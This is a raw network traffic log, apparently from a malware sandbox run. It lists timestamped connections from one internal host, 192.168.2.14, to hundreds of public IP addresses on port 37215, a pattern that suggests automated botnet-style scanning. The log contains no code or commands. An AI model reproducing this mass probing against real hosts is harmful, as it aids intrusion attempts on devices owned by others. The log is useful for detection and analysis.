Aug 1, 2024 15:34:55.608665943 CEST	40032	37215	192.168.2.14	200.89.131.108
Aug 1, 2024 15:34:55.608665943 CEST	47767	37215	192.168.2.14	41.230.179.65
Aug 1, 2024 15:34:55.608669043 CEST	53630	37215	192.168.2.14	197.179.175.169
Aug 1, 2024 15:34:55.608669996 CEST	37215	47767	41.210.233.180	192.168.2.14
Aug 1, 2024 15:34:55.608704090 CEST	47767	37215	192.168.2.14	157.212.8.4
Aug 1, 2024 15:34:55.608704090 CEST	47767	37215	192.168.2.14	41.210.233.180
Aug 1, 2024 15:34:55.608721018 CEST	37215	47767	24.187.11.12	192.168.2.14
Aug 1, 2024 15:34:55.608747005 CEST	38164	37215	192.168.2.14	222.239.93.139
Aug 1, 2024 15:34:55.608750105 CEST	37215	47767	41.162.113.93	192.168.2.14
Aug 1, 2024 15:34:55.608767986 CEST	47767	37215	192.168.2.14	24.187.11.12
Aug 1, 2024 15:34:55.608778954 CEST	37215	47767	197.240.252.39	192.168.2.14
Aug 1, 2024 15:34:55.608804941 CEST	39252	37215	192.168.2.14	57.64.230.60
Aug 1, 2024 15:34:55.608804941 CEST	47767	37215	192.168.2.14	41.162.113.93
Aug 1, 2024 15:34:55.608808994 CEST	37215	47767	197.200.93.50	192.168.2.14
Aug 1, 2024 15:34:55.608820915 CEST	50422	37215	192.168.2.14	157.75.77.178
Aug 1, 2024 15:34:55.608838081 CEST	37215	47767	197.153.10.199	192.168.2.14
Aug 1, 2024 15:34:55.608848095 CEST	47767	37215	192.168.2.14	197.200.93.50
Aug 1, 2024 15:34:55.608856916 CEST	47767	37215	192.168.2.14	197.240.252.39
Aug 1, 2024 15:34:55.608865976 CEST	37215	47767	121.19.214.231	192.168.2.14
Aug 1, 2024 15:34:55.608876944 CEST	47767	37215	192.168.2.14	197.153.10.199
Aug 1, 2024 15:34:55.608892918 CEST	37215	47767	157.66.128.192	192.168.2.14
Aug 1, 2024 15:34:55.608896017 CEST	47767	37215	192.168.2.14	121.19.214.231
Aug 1, 2024 15:34:55.608931065 CEST	47767	37215	192.168.2.14	157.66.128.192
Aug 1, 2024 15:34:55.608963013 CEST	41072	37215	192.168.2.14	157.253.51.213
Aug 1, 2024 15:34:55.608963966 CEST	32944	37215	192.168.2.14	197.102.172.2
Aug 1, 2024 15:34:55.608975887 CEST	37215	47767	41.162.24.213	192.168.2.14
Aug 1, 2024 15:34:55.609005928 CEST	37215	47767	41.169.172.11	192.168.2.14
Aug 1, 2024 15:34:55.609018087 CEST	35596	37215	192.168.2.14	197.64.45.114
Aug 1, 2024 15:34:55.609019041 CEST	47767	37215	192.168.2.14	41.162.24.213
Aug 1, 2024 15:34:55.609035969 CEST	37215	47767	197.4.243.8	192.168.2.14
Aug 1, 2024 15:34:55.609036922 CEST	53200	37215	192.168.2.14	157.133.24.232
Aug 1, 2024 15:34:55.609051943 CEST	47767	37215	192.168.2.14	41.169.172.11
Aug 1, 2024 15:34:55.609056950 CEST	40982	37215	192.168.2.14	157.157.109.60
Aug 1, 2024 15:34:55.609064102 CEST	37215	47767	157.205.197.78	192.168.2.14
Aug 1, 2024 15:34:55.609092951 CEST	37215	47767	197.207.88.203	192.168.2.14
Aug 1, 2024 15:34:55.609098911 CEST	59580	37215	192.168.2.14	157.203.23.110
Aug 1, 2024 15:34:55.609101057 CEST	47767	37215	192.168.2.14	157.205.197.78
Aug 1, 2024 15:34:55.609119892 CEST	37215	47767	41.193.234.33	192.168.2.14
Aug 1, 2024 15:34:55.609134912 CEST	47767	37215	192.168.2.14	197.4.243.8
Aug 1, 2024 15:34:55.609136105 CEST	47767	37215	192.168.2.14	197.207.88.203
Aug 1, 2024 15:34:55.609148026 CEST	37215	47767	41.71.67.19	192.168.2.14
Aug 1, 2024 15:34:55.609148979 CEST	40226	37215	192.168.2.14	157.206.8.180
Aug 1, 2024 15:34:55.609177113 CEST	37215	47767	41.221.62.228	192.168.2.14
Aug 1, 2024 15:34:55.609184980 CEST	56278	37215	192.168.2.14	197.103.193.138
Aug 1, 2024 15:34:55.609205961 CEST	37215	47767	197.8.50.175	192.168.2.14
Aug 1, 2024 15:34:55.609234095 CEST	37215	47767	41.91.117.232	192.168.2.14
Aug 1, 2024 15:34:55.609235048 CEST	40426	37215	192.168.2.14	157.62.255.255
Aug 1, 2024 15:34:55.609237909 CEST	47767	37215	192.168.2.14	197.8.50.175
Aug 1, 2024 15:34:55.609261990 CEST	37215	47767	197.185.144.145	192.168.2.14
Aug 1, 2024 15:34:55.609266043 CEST	53750	37215	192.168.2.14	197.118.161.155
Aug 1, 2024 15:34:55.609270096 CEST	47767	37215	192.168.2.14	41.193.234.33
Aug 1, 2024 15:34:55.609270096 CEST	47767	37215	192.168.2.14	41.71.67.19
Aug 1, 2024 15:34:55.609270096 CEST	47767	37215	192.168.2.14	41.221.62.228
Aug 1, 2024 15:34:55.609272957 CEST	47767	37215	192.168.2.14	41.91.117.232
Aug 1, 2024 15:34:55.609291077 CEST	37215	47767	213.238.62.174	192.168.2.14
Aug 1, 2024 15:34:55.609319925 CEST	37215	47767	157.237.235.214	192.168.2.14
Aug 1, 2024 15:34:55.609319925 CEST	47826	37215	192.168.2.14	168.204.229.155
Aug 1, 2024 15:34:55.609319925 CEST	49602	37215	192.168.2.14	13.191.210.26
Aug 1, 2024 15:34:55.609328985 CEST	40764	37215	192.168.2.14	157.251.239.40
Aug 1, 2024 15:34:55.609338999 CEST	47767	37215	192.168.2.14	197.185.144.145
Aug 1, 2024 15:34:55.609348059 CEST	37215	47767	157.171.228.140	192.168.2.14
Aug 1, 2024 15:34:55.609360933 CEST	47767	37215	192.168.2.14	157.237.235.214
Aug 1, 2024 15:34:55.609361887 CEST	47767	37215	192.168.2.14	213.238.62.174
Aug 1, 2024 15:34:55.609375000 CEST	37215	47767	164.203.219.248	192.168.2.14
Aug 1, 2024 15:34:55.609385967 CEST	47767	37215	192.168.2.14	157.171.228.140
Aug 1, 2024 15:34:55.609404087 CEST	37215	47767	44.198.35.6	192.168.2.14
Aug 1, 2024 15:34:55.609405041 CEST	58596	37215	192.168.2.14	34.114.172.79
Aug 1, 2024 15:34:55.609407902 CEST	47767	37215	192.168.2.14	164.203.219.248
Aug 1, 2024 15:34:55.609445095 CEST	47767	37215	192.168.2.14	44.198.35.6
Aug 1, 2024 15:34:55.609457970 CEST	37215	47767	40.67.80.89	192.168.2.14
Aug 1, 2024 15:34:55.609458923 CEST	56412	37215	192.168.2.14	157.39.220.56
Aug 1, 2024 15:34:55.609486103 CEST	37215	47767	157.128.185.231	192.168.2.14
Aug 1, 2024 15:34:55.609519958 CEST	37215	47767	157.192.102.116	192.168.2.14
Aug 1, 2024 15:34:55.609524012 CEST	39482	37215	192.168.2.14	133.178.29.77
Aug 1, 2024 15:34:55.609524012 CEST	47767	37215	192.168.2.14	157.128.185.231
Aug 1, 2024 15:34:55.609544992 CEST	47767	37215	192.168.2.14	40.67.80.89
Aug 1, 2024 15:34:55.609549999 CEST	37215	47767	97.199.1.136	192.168.2.14
Aug 1, 2024 15:34:55.609580040 CEST	37215	47767	197.133.155.18	192.168.2.14
Aug 1, 2024 15:34:55.609599113 CEST	54896	37215	192.168.2.14	157.121.169.87
Aug 1, 2024 15:34:55.609601021 CEST	45810	37215	192.168.2.14	157.113.100.5
Aug 1, 2024 15:34:55.609606981 CEST	52814	37215	192.168.2.14	41.81.182.25
Aug 1, 2024 15:34:55.609607935 CEST	37215	47767	196.199.13.73	192.168.2.14
Aug 1, 2024 15:34:55.609627962 CEST	47767	37215	192.168.2.14	97.199.1.136
Aug 1, 2024 15:34:55.609628916 CEST	47767	37215	192.168.2.14	157.192.102.116
Aug 1, 2024 15:34:55.609628916 CEST	54376	37215	192.168.2.14	197.97.234.242
Aug 1, 2024 15:34:55.609631062 CEST	47767	37215	192.168.2.14	197.133.155.18
Aug 1, 2024 15:34:55.609636068 CEST	37215	47767	157.23.233.170	192.168.2.14
Aug 1, 2024 15:34:55.609663963 CEST	37215	47767	41.169.134.123	192.168.2.14
Aug 1, 2024 15:34:55.609673023 CEST	47767	37215	192.168.2.14	196.199.13.73
Aug 1, 2024 15:34:55.609689951 CEST	37804	37215	192.168.2.14	157.84.81.43
Aug 1, 2024 15:34:55.609693050 CEST	37215	47767	197.147.141.155	192.168.2.14
Aug 1, 2024 15:34:55.609705925 CEST	47767	37215	192.168.2.14	157.23.233.170
Aug 1, 2024 15:34:55.609713078 CEST	56328	37215	192.168.2.14	41.151.182.180
Aug 1, 2024 15:34:55.609716892 CEST	47767	37215	192.168.2.14	41.169.134.123
Aug 1, 2024 15:34:55.609720945 CEST	37215	47767	41.138.1.95	192.168.2.14
Aug 1, 2024 15:34:55.609749079 CEST	37215	47767	157.156.185.249	192.168.2.14
Aug 1, 2024 15:34:55.609750032 CEST	50270	37215	192.168.2.14	157.136.241.140
Aug 1, 2024 15:34:55.609752893 CEST	47767	37215	192.168.2.14	41.138.1.95
Aug 1, 2024 15:34:55.609769106 CEST	47767	37215	192.168.2.14	197.147.141.155
Aug 1, 2024 15:34:55.609776020 CEST	37215	47767	157.242.9.9	192.168.2.14
Aug 1, 2024 15:34:55.609797001 CEST	47767	37215	192.168.2.14	157.156.185.249
Aug 1, 2024 15:34:55.609805107 CEST	37215	47767	41.102.168.109	192.168.2.14
Aug 1, 2024 15:34:55.609812975 CEST	47767	37215	192.168.2.14	157.242.9.9
Aug 1, 2024 15:34:55.609813929 CEST	56550	37215	192.168.2.14	197.130.235.100
Aug 1, 2024 15:34:55.609833002 CEST	37215	47767	207.13.138.47	192.168.2.14
Aug 1, 2024 15:34:55.609838009 CEST	54308	37215	192.168.2.14	41.138.22.23
Aug 1, 2024 15:34:55.609838009 CEST	47767	37215	192.168.2.14	41.102.168.109
Aug 1, 2024 15:34:55.609859943 CEST	37215	47767	157.77.249.187	192.168.2.14
Aug 1, 2024 15:34:55.609875917 CEST	49482	37215	192.168.2.14	41.177.87.219
Aug 1, 2024 15:34:55.609875917 CEST	47767	37215	192.168.2.14	207.13.138.47
Aug 1, 2024 15:34:55.609888077 CEST	37215	47767	157.183.187.124	192.168.2.14
Aug 1, 2024 15:34:55.609915972 CEST	37215	47767	84.151.50.160	192.168.2.14
Aug 1, 2024 15:34:55.609920025 CEST	47767	37215	192.168.2.14	157.183.187.124
Aug 1, 2024 15:34:55.609942913 CEST	44338	37215	192.168.2.14	2.138.219.53
Aug 1, 2024 15:34:55.609946966 CEST	47767	37215	192.168.2.14	157.77.249.187
Aug 1, 2024 15:34:55.609963894 CEST	47767	37215	192.168.2.14	84.151.50.160
Aug 1, 2024 15:34:55.609983921 CEST	51144	37215	192.168.2.14	171.189.230.58
Aug 1, 2024 15:34:55.610001087 CEST	46340	37215	192.168.2.14	41.15.250.54
Aug 1, 2024 15:34:55.610004902 CEST	46202	37215	192.168.2.14	41.243.78.48
Aug 1, 2024 15:34:55.610030890 CEST	58748	37215	192.168.2.14	41.102.235.147
Aug 1, 2024 15:34:55.610049963 CEST	43680	37215	192.168.2.14	222.142.83.55
Aug 1, 2024 15:34:55.610064030 CEST	60640	37215	192.168.2.14	197.95.7.206
Aug 1, 2024 15:34:55.610069990 CEST	53386	37215	192.168.2.14	41.236.40.252
Aug 1, 2024 15:34:55.610105991 CEST	59862	37215	192.168.2.14	41.219.67.173
Aug 1, 2024 15:34:55.610110044 CEST	48754	37215	192.168.2.14	41.147.162.230
Aug 1, 2024 15:34:55.610122919 CEST	43508	37215	192.168.2.14	41.134.51.115
Aug 1, 2024 15:34:55.610129118 CEST	40756	37215	192.168.2.14	41.55.124.183
Aug 1, 2024 15:34:55.610132933 CEST	49990	37215	192.168.2.14	196.207.169.224
Aug 1, 2024 15:34:55.610141993 CEST	43924	37215	192.168.2.14	197.82.231.104
Aug 1, 2024 15:34:55.610141993 CEST	36174	37215	192.168.2.14	157.121.143.74
Aug 1, 2024 15:34:55.610141993 CEST	45878	37215	192.168.2.14	41.190.123.131
Aug 1, 2024 15:34:55.610156059 CEST	35902	37215	192.168.2.14	157.51.252.216
Aug 1, 2024 15:34:55.610157967 CEST	39712	37215	192.168.2.14	41.59.74.157
Aug 1, 2024 15:34:55.610176086 CEST	44668	37215	192.168.2.14	182.53.203.199
Aug 1, 2024 15:34:55.610176086 CEST	40034	37215	192.168.2.14	41.37.124.216
Aug 1, 2024 15:34:55.610193014 CEST	33270	37215	192.168.2.14	157.87.117.169
Aug 1, 2024 15:34:55.610193014 CEST	46180	37215	192.168.2.14	157.252.179.4
Aug 1, 2024 15:34:55.610208988 CEST	57910	37215	192.168.2.14	67.173.236.255
Aug 1, 2024 15:34:55.610236883 CEST	60540	37215	192.168.2.14	164.63.63.103
Aug 1, 2024 15:34:55.610250950 CEST	55514	37215	192.168.2.14	157.247.173.232
Aug 1, 2024 15:34:55.610265017 CEST	42652	37215	192.168.2.14	92.28.110.8
Aug 1, 2024 15:34:55.610265017 CEST	33716	37215	192.168.2.14	197.251.68.85
Aug 1, 2024 15:34:55.610276937 CEST	52344	37215	192.168.2.14	136.209.131.27
Aug 1, 2024 15:34:55.610294104 CEST	36864	37215	192.168.2.14	60.255.178.57
Aug 1, 2024 15:34:55.610310078 CEST	38800	37215	192.168.2.14	197.52.238.43
Aug 1, 2024 15:34:55.610315084 CEST	59860	37215	192.168.2.14	197.37.11.189
Aug 1, 2024 15:34:55.610325098 CEST	59278	37215	192.168.2.14	197.171.29.163
Aug 1, 2024 15:34:55.610332012 CEST	45976	37215	192.168.2.14	41.205.131.121
Aug 1, 2024 15:34:55.610368013 CEST	33474	37215	192.168.2.14	157.10.149.35
Aug 1, 2024 15:34:55.610379934 CEST	39804	37215	192.168.2.14	38.93.44.240
Aug 1, 2024 15:34:55.610390902 CEST	39524	37215	192.168.2.14	41.189.13.212
Aug 1, 2024 15:34:55.610415936 CEST	55634	37215	192.168.2.14	184.46.233.237
Aug 1, 2024 15:34:55.610419035 CEST	53402	37215	192.168.2.14	197.206.139.104
Aug 1, 2024 15:34:55.610436916 CEST	50420	37215	192.168.2.14	157.194.219.212
Aug 1, 2024 15:34:55.610439062 CEST	33660	37215	192.168.2.14	197.91.38.97
Aug 1, 2024 15:34:55.610452890 CEST	51244	37215	192.168.2.14	157.220.82.146
Aug 1, 2024 15:34:55.610466957 CEST	38260	37215	192.168.2.14	107.106.86.9
Aug 1, 2024 15:34:55.610486984 CEST	36160	37215	192.168.2.14	197.190.55.55
Aug 1, 2024 15:34:55.610486984 CEST	59474	37215	192.168.2.14	197.13.177.97
Aug 1, 2024 15:34:55.610542059 CEST	36242	37215	192.168.2.14	41.183.144.125
Aug 1, 2024 15:34:55.610557079 CEST	56542	37215	192.168.2.14	41.140.10.97
Aug 1, 2024 15:34:55.610557079 CEST	48538	37215	192.168.2.14	197.42.176.105
Aug 1, 2024 15:34:55.610564947 CEST	35338	37215	192.168.2.14	177.186.243.242
Aug 1, 2024 15:34:55.610568047 CEST	44410	37215	192.168.2.14	99.216.115.116
Aug 1, 2024 15:34:55.610568047 CEST	58962	37215	192.168.2.14	197.237.103.241
Aug 1, 2024 15:34:55.610569954 CEST	39250	37215	192.168.2.14	147.211.62.145
Aug 1, 2024 15:34:55.610574007 CEST	59630	37215	192.168.2.14	157.108.49.207
Aug 1, 2024 15:34:55.610594988 CEST	45710	37215	192.168.2.14	157.102.148.103
Aug 1, 2024 15:34:55.610600948 CEST	54228	37215	192.168.2.14	195.22.164.112
Aug 1, 2024 15:34:55.610609055 CEST	53244	37215	192.168.2.14	197.75.43.144
Aug 1, 2024 15:34:55.610621929 CEST	40028	37215	192.168.2.14	197.176.187.27
Aug 1, 2024 15:34:55.610621929 CEST	48036	37215	192.168.2.14	110.208.30.2
Aug 1, 2024 15:34:55.610621929 CEST	34536	37215	192.168.2.14	41.68.112.151
Aug 1, 2024 15:34:55.610636950 CEST	33558	37215	192.168.2.14	157.129.37.247
Aug 1, 2024 15:34:55.610645056 CEST	45316	37215	192.168.2.14	157.115.41.196
Aug 1, 2024 15:34:55.610666037 CEST	44122	37215	192.168.2.14	197.106.91.113
Aug 1, 2024 15:34:55.610690117 CEST	56772	37215	192.168.2.14	197.88.34.150
Aug 1, 2024 15:34:55.610697031 CEST	38732	37215	192.168.2.14	157.251.247.196
Aug 1, 2024 15:34:55.610698938 CEST	48958	37215	192.168.2.14	157.122.220.214
Aug 1, 2024 15:34:55.610708952 CEST	34432	37215	192.168.2.14	41.184.88.67
Aug 1, 2024 15:34:55.610713005 CEST	37330	37215	192.168.2.14	130.233.217.238
Aug 1, 2024 15:34:55.610734940 CEST	57426	37215	192.168.2.14	157.169.17.131
Aug 1, 2024 15:34:55.610754967 CEST	60932	37215	192.168.2.14	168.234.4.56
Aug 1, 2024 15:34:55.610759974 CEST	38418	37215	192.168.2.14	115.105.251.29
Aug 1, 2024 15:34:55.610759974 CEST	40182	37215	192.168.2.14	41.169.67.45
Aug 1, 2024 15:34:55.610766888 CEST	59086	37215	192.168.2.14	61.43.155.73
Aug 1, 2024 15:34:55.610773087 CEST	54608	37215	192.168.2.14	103.20.177.119
Aug 1, 2024 15:34:55.610804081 CEST	34842	37215	192.168.2.14	197.169.248.145
Aug 1, 2024 15:34:55.610805035 CEST	45752	37215	192.168.2.14	41.53.76.199
Aug 1, 2024 15:34:55.610805988 CEST	56996	37215	192.168.2.14	157.60.145.99
Aug 1, 2024 15:34:55.610805988 CEST	50544	37215	192.168.2.14	197.124.18.82
Aug 1, 2024 15:34:55.610840082 CEST	47228	37215	192.168.2.14	41.178.100.181
Aug 1, 2024 15:34:55.610850096 CEST	39300	37215	192.168.2.14	197.40.23.137
Aug 1, 2024 15:34:55.610874891 CEST	41596	37215	192.168.2.14	41.88.176.209
Aug 1, 2024 15:34:55.610877991 CEST	35606	37215	192.168.2.14	157.187.148.134
Aug 1, 2024 15:34:55.610889912 CEST	37215	47767	41.82.107.170	192.168.2.14
Aug 1, 2024 15:34:55.610892057 CEST	49810	37215	192.168.2.14	41.143.18.123
Aug 1, 2024 15:34:55.610893965 CEST	34188	37215	192.168.2.14	41.89.33.33
Aug 1, 2024 15:34:55.610901117 CEST	37215	47767	41.110.171.196	192.168.2.14
Aug 1, 2024 15:34:55.610903978 CEST	48282	37215	192.168.2.14	41.78.39.108
Aug 1, 2024 15:34:55.610922098 CEST	52692	37215	192.168.2.14	157.88.238.24
Aug 1, 2024 15:34:55.610922098 CEST	47767	37215	192.168.2.14	41.82.107.170
Aug 1, 2024 15:34:55.610923052 CEST	55460	37215	192.168.2.14	123.236.6.145
Aug 1, 2024 15:34:55.610927105 CEST	47767	37215	192.168.2.14	41.110.171.196
Aug 1, 2024 15:34:55.610929012 CEST	37215	47767	157.163.217.192	192.168.2.14
Aug 1, 2024 15:34:55.610939026 CEST	37215	47767	197.161.30.225	192.168.2.14
Aug 1, 2024 15:34:55.610944986 CEST	57120	37215	192.168.2.14	41.148.120.113
Aug 1, 2024 15:34:55.610949039 CEST	37215	47767	197.87.31.205	192.168.2.14
Aug 1, 2024 15:34:55.610949993 CEST	48030	37215	192.168.2.14	157.133.254.58
Aug 1, 2024 15:34:55.610960007 CEST	37215	47767	157.24.209.215	192.168.2.14
Aug 1, 2024 15:34:55.610974073 CEST	47767	37215	192.168.2.14	157.163.217.192
Aug 1, 2024 15:34:55.610975027 CEST	60818	37215	192.168.2.14	41.6.248.212
Aug 1, 2024 15:34:55.610979080 CEST	37215	47767	144.51.144.54	192.168.2.14
Aug 1, 2024 15:34:55.610980034 CEST	47767	37215	192.168.2.14	197.161.30.225
Aug 1, 2024 15:34:55.610987902 CEST	37215	47767	87.113.114.36	192.168.2.14
Aug 1, 2024 15:34:55.610995054 CEST	35948	37215	192.168.2.14	191.150.229.72
Aug 1, 2024 15:34:55.611000061 CEST	47767	37215	192.168.2.14	157.24.209.215
Aug 1, 2024 15:34:55.611000061 CEST	42024	37215	192.168.2.14	41.210.198.23
Aug 1, 2024 15:34:55.611022949 CEST	38518	37215	192.168.2.14	159.97.190.21
Aug 1, 2024 15:34:55.611022949 CEST	49914	37215	192.168.2.14	41.84.67.216
Aug 1, 2024 15:34:55.611025095 CEST	47767	37215	192.168.2.14	87.113.114.36
Aug 1, 2024 15:34:55.611035109 CEST	47767	37215	192.168.2.14	144.51.144.54
Aug 1, 2024 15:34:55.611037970 CEST	35894	37215	192.168.2.14	113.77.151.196
Aug 1, 2024 15:34:55.611037970 CEST	37215	47767	197.222.232.23	192.168.2.14
Aug 1, 2024 15:34:55.611042023 CEST	41178	37215	192.168.2.14	41.130.209.143
Aug 1, 2024 15:34:55.611049891 CEST	47767	37215	192.168.2.14	197.87.31.205
Aug 1, 2024 15:34:55.611049891 CEST	37215	47767	164.20.73.12	192.168.2.14
Aug 1, 2024 15:34:55.611052036 CEST	40560	37215	192.168.2.14	41.226.213.137
Aug 1, 2024 15:34:55.611063957 CEST	37215	47767	197.224.173.163	192.168.2.14
Aug 1, 2024 15:34:55.611071110 CEST	57814	37215	192.168.2.14	197.190.3.77
Aug 1, 2024 15:34:55.611083031 CEST	47767	37215	192.168.2.14	197.222.232.23
Aug 1, 2024 15:34:55.611083031 CEST	53630	37215	192.168.2.14	197.179.175.169
Aug 1, 2024 15:34:55.611084938 CEST	40032	37215	192.168.2.14	200.89.131.108
Aug 1, 2024 15:34:55.611085892 CEST	38164	37215	192.168.2.14	222.239.93.139
Aug 1, 2024 15:34:55.611089945 CEST	47767	37215	192.168.2.14	164.20.73.12
Aug 1, 2024 15:34:55.611094952 CEST	37215	47767	157.188.203.25	192.168.2.14
Aug 1, 2024 15:34:55.611100912 CEST	47767	37215	192.168.2.14	197.224.173.163
Aug 1, 2024 15:34:55.611108065 CEST	37215	47767	41.1.23.15	192.168.2.14
Aug 1, 2024 15:34:55.611116886 CEST	37215	47767	157.163.137.132	192.168.2.14
Aug 1, 2024 15:34:55.611130953 CEST	37215	47767	197.220.142.24	192.168.2.14
Aug 1, 2024 15:34:55.611131907 CEST	47767	37215	192.168.2.14	157.188.203.25
Aug 1, 2024 15:34:55.611150980 CEST	37215	47767	157.1.49.155	192.168.2.14
Aug 1, 2024 15:34:55.611154079 CEST	47767	37215	192.168.2.14	41.1.23.15
Aug 1, 2024 15:34:55.611156940 CEST	32944	37215	192.168.2.14	197.102.172.2
Aug 1, 2024 15:34:55.611160994 CEST	47767	37215	192.168.2.14	157.163.137.132
Aug 1, 2024 15:34:55.611160994 CEST	37215	47767	154.135.59.170	192.168.2.14
Aug 1, 2024 15:34:55.611166000 CEST	41072	37215	192.168.2.14	157.253.51.213
Aug 1, 2024 15:34:55.611166000 CEST	47767	37215	192.168.2.14	197.220.142.24
Aug 1, 2024 15:34:55.611167908 CEST	50422	37215	192.168.2.14	157.75.77.178
Aug 1, 2024 15:34:55.611174107 CEST	37215	47767	157.112.194.120	192.168.2.14
Aug 1, 2024 15:34:55.611186028 CEST	39252	37215	192.168.2.14	57.64.230.60
Aug 1, 2024 15:34:55.611186028 CEST	53200	37215	192.168.2.14	157.133.24.232
Aug 1, 2024 15:34:55.611186028 CEST	47767	37215	192.168.2.14	157.1.49.155
Aug 1, 2024 15:34:55.611207962 CEST	37215	47767	157.20.158.163	192.168.2.14
Aug 1, 2024 15:34:55.611207962 CEST	47767	37215	192.168.2.14	154.135.59.170
Aug 1, 2024 15:34:55.611207962 CEST	47767	37215	192.168.2.14	157.112.194.120
Aug 1, 2024 15:34:55.611218929 CEST	37215	47767	197.163.228.211	192.168.2.14
Aug 1, 2024 15:34:55.611222029 CEST	40982	37215	192.168.2.14	157.157.109.60
Aug 1, 2024 15:34:55.611227989 CEST	35596	37215	192.168.2.14	197.64.45.114
Aug 1, 2024 15:34:55.611246109 CEST	37215	47767	41.106.188.128	192.168.2.14
Aug 1, 2024 15:34:55.611249924 CEST	47767	37215	192.168.2.14	157.20.158.163
Aug 1, 2024 15:34:55.611257076 CEST	37215	47767	143.207.9.115	192.168.2.14
Aug 1, 2024 15:34:55.611258984 CEST	40226	37215	192.168.2.14	157.206.8.180
Aug 1, 2024 15:34:55.611263990 CEST	47767	37215	192.168.2.14	197.163.228.211
Aug 1, 2024 15:34:55.611263990 CEST	59580	37215	192.168.2.14	157.203.23.110
Aug 1, 2024 15:34:55.611283064 CEST	47767	37215	192.168.2.14	143.207.9.115
Aug 1, 2024 15:34:55.611288071 CEST	40426	37215	192.168.2.14	157.62.255.255
Aug 1, 2024 15:34:55.611289024 CEST	47767	37215	192.168.2.14	41.106.188.128
Aug 1, 2024 15:34:55.611289024 CEST	56278	37215	192.168.2.14	197.103.193.138
Aug 1, 2024 15:34:55.611294985 CEST	53750	37215	192.168.2.14	197.118.161.155
Aug 1, 2024 15:34:55.611301899 CEST	47826	37215	192.168.2.14	168.204.229.155
Aug 1, 2024 15:34:55.611314058 CEST	49602	37215	192.168.2.14	13.191.210.26
Aug 1, 2024 15:34:55.611316919 CEST	40764	37215	192.168.2.14	157.251.239.40
Aug 1, 2024 15:34:55.611344099 CEST	56412	37215	192.168.2.14	157.39.220.56
Aug 1, 2024 15:34:55.611344099 CEST	58596	37215	192.168.2.14	34.114.172.79
Aug 1, 2024 15:34:55.611355066 CEST	52814	37215	192.168.2.14	41.81.182.25
Aug 1, 2024 15:34:55.611355066 CEST	39482	37215	192.168.2.14	133.178.29.77
Aug 1, 2024 15:34:55.611393929 CEST	45810	37215	192.168.2.14	157.113.100.5
Aug 1, 2024 15:34:55.611396074 CEST	54896	37215	192.168.2.14	157.121.169.87
Aug 1, 2024 15:34:55.611401081 CEST	54376	37215	192.168.2.14	197.97.234.242
Aug 1, 2024 15:34:55.611422062 CEST	56328	37215	192.168.2.14	41.151.182.180
Aug 1, 2024 15:34:55.611422062 CEST	37804	37215	192.168.2.14	157.84.81.43
Aug 1, 2024 15:34:55.611439943 CEST	50270	37215	192.168.2.14	157.136.241.140
Aug 1, 2024 15:34:55.611443043 CEST	54308	37215	192.168.2.14	41.138.22.23
Aug 1, 2024 15:34:55.611459017 CEST	56550	37215	192.168.2.14	197.130.235.100
Aug 1, 2024 15:34:55.611475945 CEST	49482	37215	192.168.2.14	41.177.87.219
Aug 1, 2024 15:34:55.611476898 CEST	34740	37215	192.168.2.14	41.227.113.252
Aug 1, 2024 15:34:55.611715078 CEST	37215	47767	197.101.238.68	192.168.2.14
Aug 1, 2024 15:34:55.611769915 CEST	47767	37215	192.168.2.14	197.101.238.68
Aug 1, 2024 15:34:55.611840010 CEST	37215	47767	197.115.138.203	192.168.2.14
Aug 1, 2024 15:34:55.611877918 CEST	47767	37215	192.168.2.14	197.115.138.203
Aug 1, 2024 15:34:55.611912012 CEST	37215	47767	197.201.177.7	192.168.2.14
Aug 1, 2024 15:34:55.611922026 CEST	37215	47767	41.215.226.186	192.168.2.14
Aug 1, 2024 15:34:55.611933947 CEST	37215	47767	157.41.125.194	192.168.2.14
Aug 1, 2024 15:34:55.611958981 CEST	47767	37215	192.168.2.14	157.41.125.194
Aug 1, 2024 15:34:55.611968040 CEST	47767	37215	192.168.2.14	41.215.226.186
Aug 1, 2024 15:34:55.611969948 CEST	47767	37215	192.168.2.14	197.201.177.7
Aug 1, 2024 15:34:55.612303972 CEST	37215	47767	157.29.225.80	192.168.2.14
Aug 1, 2024 15:34:55.612344980 CEST	47767	37215	192.168.2.14	157.29.225.80
Aug 1, 2024 15:34:55.612587929 CEST	52512	37215	192.168.2.14	197.43.214.179
Aug 1, 2024 15:34:55.614154100 CEST	37215	47767	78.67.207.134	192.168.2.14
Aug 1, 2024 15:34:55.614202023 CEST	47767	37215	192.168.2.14	78.67.207.134
Aug 1, 2024 15:34:55.614206076 CEST	37215	47767	149.234.172.24	192.168.2.14
Aug 1, 2024 15:34:55.614242077 CEST	47767	37215	192.168.2.14	149.234.172.24
Aug 1, 2024 15:34:55.614319086 CEST	37215	47767	157.127.197.110	192.168.2.14
Aug 1, 2024 15:34:55.614366055 CEST	47767	37215	192.168.2.14	157.127.197.110
Aug 1, 2024 15:34:55.614397049 CEST	37215	47767	208.188.227.234	192.168.2.14
Aug 1, 2024 15:34:55.614408970 CEST	37215	47767	197.231.206.211	192.168.2.14
Aug 1, 2024 15:34:55.614418030 CEST	37215	47767	123.29.244.205	192.168.2.14
Aug 1, 2024 15:34:55.614433050 CEST	37215	47767	157.238.89.138	192.168.2.14
Aug 1, 2024 15:34:55.614443064 CEST	37215	47767	157.202.94.88	192.168.2.14
Aug 1, 2024 15:34:55.614454985 CEST	37215	47767	41.35.147.20	192.168.2.14
Aug 1, 2024 15:34:55.614464045 CEST	47767	37215	192.168.2.14	157.238.89.138
Aug 1, 2024 15:34:55.614473104 CEST	37215	47767	197.14.45.56	192.168.2.14
Aug 1, 2024 15:34:55.614483118 CEST	37215	47767	157.138.60.125	192.168.2.14
Aug 1, 2024 15:34:55.614483118 CEST	47767	37215	192.168.2.14	123.29.244.205
Aug 1, 2024 15:34:55.614483118 CEST	47767	37215	192.168.2.14	208.188.227.234
Aug 1, 2024 15:34:55.614483118 CEST	47767	37215	192.168.2.14	197.231.206.211
Aug 1, 2024 15:34:55.614489079 CEST	47767	37215	192.168.2.14	157.202.94.88
Aug 1, 2024 15:34:55.614489079 CEST	47767	37215	192.168.2.14	41.35.147.20
Aug 1, 2024 15:34:55.614492893 CEST	37215	47767	41.157.202.122	192.168.2.14
Aug 1, 2024 15:34:55.614506006 CEST	37215	47767	157.50.111.252	192.168.2.14
Aug 1, 2024 15:34:55.614520073 CEST	47767	37215	192.168.2.14	197.14.45.56
Aug 1, 2024 15:34:55.614523888 CEST	47767	37215	192.168.2.14	157.138.60.125
Aug 1, 2024 15:34:55.614526987 CEST	37215	47767	41.195.89.110	192.168.2.14
Aug 1, 2024 15:34:55.614530087 CEST	47767	37215	192.168.2.14	41.157.202.122
